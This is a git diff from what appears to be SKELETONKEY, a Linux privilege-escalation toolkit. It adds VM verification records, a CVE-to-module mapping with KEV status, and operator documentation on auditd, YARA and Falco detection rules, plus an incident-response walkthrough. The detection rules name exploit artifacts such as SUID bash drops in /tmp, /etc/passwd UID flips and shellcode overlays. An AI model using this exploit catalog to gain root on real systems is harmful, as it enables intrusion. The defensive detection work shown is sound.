.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pack2theroot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "ptrace_traceme",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pwnkit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sequoia",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "stackrot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.10-060110-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_chwoot",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_runas_neg1",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_samedit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudoedit_editor",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "tioscpgrp",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.4.0-26-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "udisks_libblockdev",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t verifications_count =
|
||||
sizeof(verifications) / sizeof(verifications[0]);
|
||||
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out)
|
||||
{
|
||||
if (count_out) *count_out = 0;
|
||||
if (!module) return NULL;
|
||||
const struct verification_record *first = NULL;
|
||||
size_t n = 0;
|
||||
for (size_t i = 0; i < verifications_count; i++) {
|
||||
if (strcmp(verifications[i].module, module) == 0) {
|
||||
if (first == NULL) first = &verifications[i];
|
||||
n++;
|
||||
}
|
||||
}
|
||||
if (count_out) *count_out = n;
|
||||
return first;
|
||||
}
|
||||
|
||||
bool verifications_module_has_match(const char *module)
|
||||
{
|
||||
size_t n = 0;
|
||||
const struct verification_record *r = verifications_for_module(module, &n);
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if (r[i].status && strcmp(r[i].status, "match") == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* SKELETONKEY — per-module verification records
|
||||
*
|
||||
* "Verified-on" entries — concrete (distro, kernel, date) tuples where
|
||||
* tools/verify-vm/verify.sh has empirically confirmed a module's
|
||||
* detect() verdict against a known-vulnerable target. Each entry is one
|
||||
* row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
|
||||
* by tools/refresh-verifications.py.
|
||||
*
|
||||
* Modules with >=1 record carry an empirical-trust badge ("✓ verified
|
||||
* on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
|
||||
* output. Modules with zero records are still tested at the unit level
|
||||
* (synthetic fingerprints), but have not yet been confirmed on a real
|
||||
* vulnerable kernel.
|
||||
*
|
||||
* Append-only by intent: each verify.sh run appends a fresh JSONL line
|
||||
* (timestamped); the refresh script dedupes to (module, vm_box,
|
||||
* kernel, expect_detect) when generating the C table so re-runs of the
|
||||
* same scenario update rather than accumulate.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_VERIFICATIONS_H
|
||||
#define SKELETONKEY_VERIFICATIONS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct verification_record {
|
||||
const char *module; /* module name (matches struct skeletonkey_module.name) */
|
||||
const char *verified_at; /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
|
||||
const char *host_kernel; /* uname -r value, e.g. "5.4.0-169-generic" */
|
||||
const char *host_distro; /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
|
||||
const char *vm_box; /* vagrant box name, e.g. "generic/ubuntu2004" */
|
||||
const char *expect_detect; /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
|
||||
const char *actual_detect; /* what skeletonkey --explain returned */
|
||||
const char *status; /* "match" iff actual == expected; otherwise "MISMATCH" */
|
||||
};
|
||||
|
||||
extern const struct verification_record verifications[];
|
||||
extern const size_t verifications_count;
|
||||
|
||||
/* Returns the first record (count via *count_out) for the named module,
|
||||
* or NULL if the module has no recorded verifications. The records are
|
||||
* stored contiguously in the table, so once you have the pointer you
|
||||
* can iterate count_out entries forward. */
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out);
|
||||
|
||||
/* True iff the module has at least one "match" record. */
|
||||
bool verifications_module_has_match(const char *module);
|
||||
|
||||
#endif /* SKELETONKEY_VERIFICATIONS_H */
|
||||
@@ -0,0 +1,344 @@
|
||||
[
|
||||
{
|
||||
"cve": "CVE-2016-5195",
|
||||
"module_dir": "dirty_cow_cve_2016_5195",
|
||||
"cwe": "CWE-362",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-03-03"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2017-7308",
|
||||
"module_dir": "af_packet_cve_2017_7308",
|
||||
"cwe": "CWE-681",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2018-14634",
|
||||
"module_dir": "mutagen_astronomy_cve_2018_14634",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-01-26"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-14287",
|
||||
"module_dir": "sudo_runas_neg1_cve_2019_14287",
|
||||
"cwe": "CWE-755",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-29661",
|
||||
"module_dir": "tioscpgrp_cve_2020_29661",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-10-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3156",
|
||||
"module_dir": "sudo_samedit_cve_2021_3156",
|
||||
"cwe": "CWE-193",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-33909",
|
||||
"module_dir": "sequoia_cve_2021_33909",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3493",
|
||||
"module_dir": "overlayfs_cve_2021_3493",
|
||||
"cwe": "CWE-270",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-10-20"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-4034",
|
||||
"module_dir": "pwnkit_cve_2021_4034",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-06-27"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0185",
|
||||
"module_dir": "fuse_legacy_cve_2022_0185",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-08-21"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0492",
|
||||
"module_dir": "cgroup_release_agent_cve_2022_0492",
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-06-02"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
"module_dir": "dirty_pipe_cve_2022_0847",
|
||||
"cwe": "CWE-665",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-25"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-25636",
|
||||
"module_dir": "nft_fwd_dup_cve_2022_25636",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-2588",
|
||||
"module_dir": "cls_route4_cve_2022_2588",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0179",
|
||||
"module_dir": "nft_payload_cve_2023_0179",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0386",
|
||||
"module_dir": "overlayfs_setuid_cve_2023_0386",
|
||||
"cwe": "CWE-282",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-06-17"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0458",
|
||||
"module_dir": "entrybleed_cve_2023_0458",
|
||||
"cwe": "CWE-476",
|
||||
"attack_technique": "T1082",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-2008",
|
||||
"module_dir": "vmwgfx_cve_2023_2008",
|
||||
"cwe": "CWE-129",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-22809",
|
||||
"module_dir": "sudoedit_editor_cve_2023_22809",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-32233",
|
||||
"module_dir": "nft_set_uaf_cve_2023_32233",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-3269",
|
||||
"module_dir": "stackrot_cve_2023_3269",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-4622",
|
||||
"module_dir": "af_unix_gc_cve_2023_4622",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-1086",
|
||||
"module_dir": "nf_tables_cve_2024_1086",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-26581",
|
||||
"module_dir": "nft_pipapo_cve_2024_26581",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-50264",
|
||||
"module_dir": "vsock_uaf_cve_2024_50264",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32463",
|
||||
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||
"cwe": "CWE-829",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-09-29"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-6019",
|
||||
"module_dir": "udisks_libblockdev_cve_2025_6019",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-23111",
|
||||
"module_dir": "nft_catchall_cve_2026_23111",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
"cwe": "CWE-130",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-41651",
|
||||
"module_dir": "pack2theroot_cve_2026_41651",
|
||||
"cwe": "CWE-367",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43494",
|
||||
"module_dir": "pintheft_cve_2026_43494",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46243",
|
||||
"module_dir": "cifswitch_cve_2026_46243",
|
||||
"cwe": "CWE-20",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
@@ -41,12 +41,23 @@ make it part of your daily ops" guide.
|
||||
# Daily/weekly hygiene check
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# Investigate a specific finding (one-page operator briefing)
|
||||
sudo skeletonkey --explain nf_tables # whichever module came back VULNERABLE
|
||||
# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
|
||||
# OPSEC footprint (what an exploit would leave behind), detection-rule
|
||||
# coverage, mitigation. Paste into the triage ticket.
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
The `--explain` output is also useful as a learning artifact: each
|
||||
module's `--explain` block is a self-contained CVE briefing with the
|
||||
reasoning chain the detect() function walked, so analysts can verify
|
||||
SKELETONKEY's verdict against their own understanding of the bug.
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
@@ -168,6 +179,70 @@ skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
### YARA artifact scanning
|
||||
|
||||
YARA rules catch the **post-fire** state — page-cache shellcode
|
||||
overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
|
||||
as a scheduled scan against sensitive paths:
|
||||
|
||||
```bash
|
||||
# Ship YARA rules
|
||||
sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
|
||||
|
||||
# Scheduled scan via cron — catches the page-cache and /tmp artifacts
|
||||
# /etc/cron.d/skeletonkey-yara
|
||||
*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
|
||||
/etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
|
||||
2>>/var/log/skeletonkey-yara.log
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
|
||||
| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
|
||||
| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
|
||||
| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
|
||||
| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
|
||||
| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
|
||||
| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
|
||||
| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
|
||||
|
||||
The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
|
||||
`fragnesia_payload_overlay`) are particularly high-signal: no
|
||||
legitimate ELF starts with those exact 28 bytes, so a hit means the
|
||||
exploit landed.
|
||||
|
||||
### Falco runtime detection
|
||||
|
||||
Falco catches the exploit **as it fires** by hooking syscalls and
|
||||
namespace events. Best deploy for K8s / container hosts but works on
|
||||
any modern Linux:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --detect-rules --format=falco \
|
||||
| sudo tee /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo systemctl reload falco # or restart, depending on distro
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
|
||||
| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
|
||||
| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
|
||||
| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
|
||||
| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
|
||||
| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
|
||||
| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
|
||||
| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
|
||||
| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
|
||||
| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
|
||||
| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
@@ -245,6 +320,96 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
# Reload affected modules / sysctls per your distro
|
||||
```
|
||||
|
||||
## Per-module detection coverage
|
||||
|
||||
Across the 4 rule formats:
|
||||
|
||||
| Module | CVE | auditd | sigma | yara | falco |
|
||||
|---|---|:-:|:-:|:-:|:-:|
|
||||
| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
|
||||
| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
|
||||
| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
|
||||
| Other 21 modules | various | ✓ | partial | — | — |
|
||||
|
||||
Full 4-format coverage on the 10 highest-value modules; auditd
|
||||
covers everything. YARA / Falco expansion to the remaining 21 modules
|
||||
is incremental contributor work (each module's `detect_yara` /
|
||||
`detect_falco` field in the module struct just needs a string).
|
||||
|
||||
## Correlation across formats
|
||||
|
||||
Single-format detections are useful; the high-confidence signal is
|
||||
the **correlation across formats** for the same module in a short
|
||||
window. Each exploit leaves a recognisable multi-format trail:
|
||||
|
||||
| Exploit | falco fires | auditd fires | yara confirms |
|
||||
|---|---|---|---|
|
||||
| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
|
||||
| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
|
||||
| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
|
||||
| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
|
||||
| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
|
||||
| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
|
||||
| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
|
||||
|
||||
If **three of the four signals** fire for the same module in the same
|
||||
window, the exploit landed. **One signal alone** in a noisy
|
||||
environment is more likely a tuning FP; **three signals** is incident
|
||||
response.
|
||||
|
||||
## Worked example: catching DirtyDecrypt end-to-end
|
||||
|
||||
A SOC operator gets a Falco page:
|
||||
|
||||
```
|
||||
CRITICAL AF_RXRPC socket() by non-root (user=alice proc=poc pid=44231)
|
||||
```
|
||||
|
||||
1. **Confirm via auditd** — pull events keyed on the family:
|
||||
```bash
|
||||
sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
|
||||
```
|
||||
Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
|
||||
|
||||
2. **Confirm via yara** — scan setuid binaries for the page-cache
|
||||
overlay:
|
||||
```bash
|
||||
yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
|
||||
```
|
||||
If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
|
||||
exploit landed** — the binary's page cache has been overwritten
|
||||
with the 120-byte shellcode.
|
||||
|
||||
3. **Recover** — the on-disk binary is intact; only the page cache is
|
||||
corrupted. Drop it:
|
||||
```bash
|
||||
sudo skeletonkey --cleanup dirtydecrypt # or: echo 3 > /proc/sys/vm/drop_caches
|
||||
```
|
||||
|
||||
4. **Sigma hunt for lateral / repeat** — query your SIEM with the
|
||||
sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
|
||||
days to find any other hosts.
|
||||
|
||||
5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
|
||||
Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
|
||||
|
||||
6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
|
||||
```bash
|
||||
echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
|
||||
sudo update-initramfs -u
|
||||
```
|
||||
|
||||
The same shape applies to every module: pick the auditd key, the
|
||||
yara rule for the artifact, the falco rule for the runtime signal,
|
||||
and the sigma rule for the hunt.
|
||||
|
||||
## Common false positives + tuning
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
# CISA KEV Cross-Reference
|
||||
|
||||
Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
